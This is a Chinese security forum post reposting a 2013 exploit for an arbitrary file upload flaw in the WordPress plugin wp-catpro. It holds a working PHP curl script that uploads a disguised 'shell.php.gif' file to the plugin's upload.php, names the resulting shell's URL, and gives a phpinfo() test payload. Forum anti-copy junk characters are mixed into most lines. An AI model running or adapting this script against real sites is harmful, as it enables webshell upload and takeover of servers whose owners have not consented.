找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2068|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
, g/ L+ q% b( U: k7 D* S( x6 E#-----------------------------------------------------------------------. q$ _* Q7 H& k- A" @+ A* @( d5 W

& ?1 O% v9 P4 }7 I作者  => Zikou-16& `' I1 b$ Y* |
邮箱 => zikou16x@gmail.com/ t! y0 _7 I; I+ ~
测试系统 : Windows 7 , Backtrack 5r3
9 A2 t: J  g% E/ W下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
  P% c3 p9 @, v3 o: ]/ \####/ S# O9 k4 F% U5 e: A3 @$ @
- ~6 u+ m  F% c! n
#=> Exploit 信息:; ^( m4 p) N% Z$ H& L7 L9 U
------------------
  @: S/ A, |! }* z/ w$ \# 攻击者可以上传 file/shell.php.gif
& T3 y$ t% W+ R' ?7 ]9 ]2 Y# ("jpg", "gif", "png")  // Allowed file extensions; B2 P; n+ p9 L$ F' T* I! y
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)0 y1 K* E3 W: G5 r* H: G0 `3 N
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)2 [& q; E7 ^- f4 \4 i' @& I
------------------' j# s1 T* D1 s4 Q7 `

' r2 X  F7 [5 R8 {" K$ I; r( y#=> Exploit8 e3 W" i3 ?& q% j
-----------# S% W- i9 h7 u  d
<?php
' y. u0 y4 g& {/ {+ _* b$ x
% m3 ~" S. X6 U( t6 e4 W$uploadfile="zik.php.gif";
7 x- W# l  |0 I4 Z+ A* X$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");% [: |4 _! L# M0 X% M4 o7 `  p
curl_setopt($ch, CURLOPT_POST, true);/ f& ]; C! n7 X/ e) j+ V8 a
curl_setopt($ch, CURLOPT_POSTFIELDS,: x6 s5 D# Z3 Q9 M$ L
array('Filedata'=>"@$uploadfile",
( Y, p$ z; h" e6 l: w'folder'=>'/wp-content/uploads/catpro/'));
5 u' f: O* \" h2 ecurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- k  F* F' [. g/ X1 b& z$postResult = curl_exec($ch);4 T# k, Y, u9 y& m5 X5 Q( U0 b* l
curl_close($ch);
) D1 A% M5 [  v7 @; z4 K 2 v) g* P. _: t+ v$ c. T
print "$postResult";
% ?% t% i; {" L6 q$ V ; R2 e+ f* s; u- Q( Y. e8 v! v
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
, u3 @  V2 @6 S$ n: A4 T; s# Z  ?>! a) x# T! O# K- J- l0 y; A6 r$ a
<?php
( e3 i/ W; @1 q: K% t4 Qphpinfo();4 V; T. S/ x7 d0 Q+ L3 {
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表